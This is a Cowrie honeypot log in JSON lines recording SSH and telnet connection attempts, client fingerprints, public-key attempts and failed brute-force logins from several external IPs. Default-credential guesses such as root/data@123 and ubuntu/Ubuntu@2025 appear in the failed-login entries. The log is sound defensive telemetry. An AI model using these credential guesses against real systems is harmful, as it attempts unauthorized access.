{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:31:57.333132Z","src_ip":"103.15.226.202","session":"ca939a5fc836","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:31:57.578564Z","src_ip":"103.15.226.202","session":"ca939a5fc836","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu@2025","message":"login attempt [ubuntu/Ubuntu@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:31:58.329831Z","src_ip":"103.15.226.202","session":"ca939a5fc836","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:31:59.578891Z","src_ip":"103.15.226.202","session":"ca939a5fc836","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":58768,"dst_ip":"159.203.135.109","dst_port":22,"session":"968db9eed420","protocol":"ssh","message":"New connection: 2.57.122.208:58768 (159.203.135.109:22) [session: 968db9eed420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:32:05.337717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:32:05.433334Z","src_ip":"2.57.122.208","session":"968db9eed420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:32:05.525725Z","src_ip":"2.57.122.208","session":"968db9eed420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:32:06.222430Z","src_ip":"2.57.122.208","session":"968db9eed420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:32:07.342834Z","src_ip":"2.57.122.208","session":"968db9eed420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.37.71.75","src_port":3615,"dst_ip":"10.17.0.5","dst_port":23,"session":"661aa6e48ccb","protocol":"telnet","message":"New connection: 27.37.71.75:3615 (10.17.0.5:23) [session: 661aa6e48ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:32:15.451039Z"}
{"eventid":"cowrie.session.closed","duration":0.005393028259277344,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:32:15.456344Z","src_ip":"27.37.71.75","session":"661aa6e48ccb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.37.71.75","src_port":3616,"dst_ip":"10.17.0.5","dst_port":23,"session":"af74593c0167","protocol":"telnet","message":"New connection: 27.37.71.75:3616 (10.17.0.5:23) [session: af74593c0167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:32:16.750287Z"}
{"eventid":"cowrie.login.failed","username":"default","password":"","message":"login attempt [default/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:32:32.368876Z","src_ip":"27.37.71.75","session":"af74593c0167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.622627258300781,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:32:32.372782Z","src_ip":"27.37.71.75","session":"af74593c0167","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":37812,"dst_ip":"159.203.135.109","dst_port":22,"session":"8265e0aac87e","protocol":"ssh","message":"New connection: 2.57.122.208:37812 (159.203.135.109:22) [session: 8265e0aac87e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:34:40.224856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:34:40.229331Z","src_ip":"2.57.122.208","session":"8265e0aac87e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:34:40.519895Z","src_ip":"2.57.122.208","session":"8265e0aac87e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:34:41.319330Z","src_ip":"2.57.122.208","session":"8265e0aac87e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:34:42.520504Z","src_ip":"2.57.122.208","session":"8265e0aac87e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":48968,"dst_ip":"10.17.0.5","dst_port":23,"session":"3553f4f9b1be","protocol":"telnet","message":"New connection: 180.235.129.180:48968 (10.17.0.5:23) [session: 3553f4f9b1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:16.900962Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":48990,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bc36bc5d19b","protocol":"telnet","message":"New connection: 212.55.149.117:48990 (10.17.0.5:23) [session: 8bc36bc5d19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:20.861798Z"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":51824,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6ece8a196ea","protocol":"ssh","message":"New connection: 57.128.223.80:51824 (10.17.0.5:22) [session: b6ece8a196ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:27.144842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:27.158154Z","src_ip":"57.128.223.80","session":"b6ece8a196ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:27.256125Z","src_ip":"57.128.223.80","session":"b6ece8a196ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"QwErTy","message":"login attempt [postgres/QwErTy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:27.676136Z","src_ip":"57.128.223.80","session":"b6ece8a196ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:28.821209Z","src_ip":"57.128.223.80","session":"b6ece8a196ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":55836,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e9ef9f8e5ac","protocol":"ssh","message":"New connection: 103.15.226.202:55836 (10.17.0.5:22) [session: 8e9ef9f8e5ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:33.594832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:33.600356Z","src_ip":"103.15.226.202","session":"8e9ef9f8e5ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:33.857303Z","src_ip":"103.15.226.202","session":"8e9ef9f8e5ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"data@123","message":"login attempt [root/data@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:34.627769Z","src_ip":"103.15.226.202","session":"8e9ef9f8e5ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.62.250","src_port":37794,"dst_ip":"10.17.0.5","dst_port":22,"session":"e258163713e9","protocol":"ssh","message":"New connection: 199.127.62.250:37794 (10.17.0.5:22) [session: e258163713e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.343367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.347307Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.406896Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:28:74:58:15:42:b6:af:48:93:16:a5:d1:d0:dd:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3s8sqmTg7NKMbvW2vlTawQVIsKmd8hqV/FV9GOOrVr5aRfh9e6Ae+F1MR0L/O3Xw0zKf+fFB7sXYxQpHy8+zM1QCCh51c2Z5LnCxWkv8ifW6B9MmFRQZSz3uwmX5t7OiZ3EDshTzrPs//WXLn8oW1N5SsBR7P+/rLc7H+DNZfoV2hTmM6hmvzKesMhGK4PzFOIe5L0ZfcRkaVPT3k5IvQ3O4mQVe3hlvD07M8ztysDqJlMXlwHwvywFfpK+TkVRPaxIjys/+4DopnLz7Vc8AJ9vOf0kjtdXSfqRcxMrO87WhggVLKahT8hOLHUD36qcaOs3pi0nPrwIpfNjIx5bYx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:28:74:58:15:42:b6:af:48:93:16:a5:d1:d0:dd:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.683559Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:28:74:58:15:42:b6:af:48:93:16:a5:d1:d0:dd:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3s8sqmTg7NKMbvW2vlTawQVIsKmd8hqV/FV9GOOrVr5aRfh9e6Ae+F1MR0L/O3Xw0zKf+fFB7sXYxQpHy8+zM1QCCh51c2Z5LnCxWkv8ifW6B9MmFRQZSz3uwmX5t7OiZ3EDshTzrPs//WXLn8oW1N5SsBR7P+/rLc7H+DNZfoV2hTmM6hmvzKesMhGK4PzFOIe5L0ZfcRkaVPT3k5IvQ3O4mQVe3hlvD07M8ztysDqJlMXlwHwvywFfpK+TkVRPaxIjys/+4DopnLz7Vc8AJ9vOf0kjtdXSfqRcxMrO87WhggVLKahT8hOLHUD36qcaOs3pi0nPrwIpfNjIx5bYx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.687642Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:76:4d:d3:22:bf:99:c7:b2:3a:87:a7:c8:d8:6e:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr0D6SlHB1Z3WNfombl24SHh3EVr9cG4hVzMBF7DEj2DtGilDr6YaFLKFqVwpPS+2Xxo1yvk9/PxdT5LmViGEtfIr8bI3NFzE0H7E+UbtxQAJdwJ1NwLm8XbdexNyUzeDx//usObkXpajSbEp5jCl0SKJ1zL93loBVV4SSa/d7Ab5SJq5EfxCxdgLltBrK3z6yCL0pAOfvUmhTq0QRUXIJIuWpbDUCSX26XCynQ93h2jXpUUNBrs2oGIdMDPmw1k8ktV22eYO7qPc3pjJC06/gZ9kNVO4dDFzp1k4rEMaNsp+t6Zyz5B5GuQ72Lg74NZhu/zYN5HkjDWx56Ci91kgVQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:76:4d:d3:22:bf:99:c7:b2:3a:87:a7:c8:d8:6e:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.750518Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:76:4d:d3:22:bf:99:c7:b2:3a:87:a7:c8:d8:6e:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAr0D6SlHB1Z3WNfombl24SHh3EVr9cG4hVzMBF7DEj2DtGilDr6YaFLKFqVwpPS+2Xxo1yvk9/PxdT5LmViGEtfIr8bI3NFzE0H7E+UbtxQAJdwJ1NwLm8XbdexNyUzeDx//usObkXpajSbEp5jCl0SKJ1zL93loBVV4SSa/d7Ab5SJq5EfxCxdgLltBrK3z6yCL0pAOfvUmhTq0QRUXIJIuWpbDUCSX26XCynQ93h2jXpUUNBrs2oGIdMDPmw1k8ktV22eYO7qPc3pjJC06/gZ9kNVO4dDFzp1k4rEMaNsp+t6Zyz5B5GuQ72Lg74NZhu/zYN5HkjDWx56Ci91kgVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.754339Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ca:63:6a:86:7f:a4:ee:a0:f5:4c:b4:5e:e2:bb:f5:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfgWafezgwy7/talqZww3tZ4hQBWQIInDR1yR0hY11uLAcJmH4E8ECRwFqo1nzQnEBHNht3OfJhiMcl/X64YPZxhWC68hI2M4jbOW6G0z6O156oXDmERNvFaJQd2494SznkUhNrUBB0ZWu+lvzJZZqi8fxDpwLo0nfBYggojB5fMz0sNvawUuNe/jgM4hb6ieGqMwtrT2pjvUkIafQHNY3HGz8cQM9NDAHlVIIqfDSD4zU1h9r9k90m7udJBhte1uaoJDYbb3KWGsEuwN9Tie8I4SIca4TEyNjmoserM+JuhKOJf6nPe4UAgRWET7NxVhyhWp7ovRREfKY+nY44DAgIdTlFTNzqXotloWpiOrnVPYQ+hI1vsZ8E+r+kLnxNgl+gZ01GLp72xC2yEAbqTp/9L8mA6ayzDBzauVM7GuTq1yiXpGgXZWRlZapKxeVrddZkRzZgf6wvNV0VQ7JW2JcSbXZn/YETwNi+wMD30ststOjLhnT/s6AOGzd2506Ft+0GbN18j5wp6NWumneWGC6WMaMrsv2Q291w8Mci/+VK2/MwEaNUNMM+SoMat7mRRW635M153KfQ1PBbHjO/lSzJLdnWf7lqMvHHeZKP+og1ssEI0jlARE2xoQ1QKhG/Slf5c72df4jUIZ91xm6NrGHLCiSIrDxLCO4F70QZwJK9w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ca:63:6a:86:7f:a4:ee:a0:f5:4c:b4:5e:e2:bb:f5:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T17:35:35.814534Z","src_ip":"199.127.62.250","session":"e258163713e9","protocol":"ssh"}
